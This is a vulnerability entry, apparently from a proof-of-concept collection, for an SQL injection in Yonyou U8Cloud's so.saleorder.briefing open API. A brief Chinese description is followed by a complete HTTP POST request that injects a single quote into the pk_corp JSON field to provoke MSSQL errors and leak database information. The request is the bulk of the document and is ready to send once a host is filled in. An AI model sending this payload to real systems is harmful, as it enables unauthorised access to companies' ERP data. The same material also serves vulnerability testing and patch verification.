Description
用友U8Cloud是用友公司面向中大型企业提供的云端ERP管理系统，涵盖财务管理、供应链管理、生产制造、人力资源等多个业务模块。该系统采用B/S架构，支持多组织、多账簿、多币种等复杂业务场景。用友U8Cloud的 /u8cloud/openapi/so.saleorder.briefing 接口存在SQL注入漏洞，攻击者可通过pk_corp参数构造恶意SQL语句，利用MSSQL数据库特性触发数据库错误，获取数据库敏感信息。
用友U8Cloud /u8cloud/openapi/so.saleorder.briefing SQL 注入漏洞
PoC
POST /u8cloud/openapi/so.saleorder.briefing?appcode=huo&isEncrypt=N HTTP/1.1
Host:
Content-Type: application/json;charset=UTF-8
Content-Length: 105
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cache-Control: max-age=0
{"pk_corp":"00010000000000043041'","cuserid":"user123","date_begin":"2025-04-10","date_end":"2025-04-10"}
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.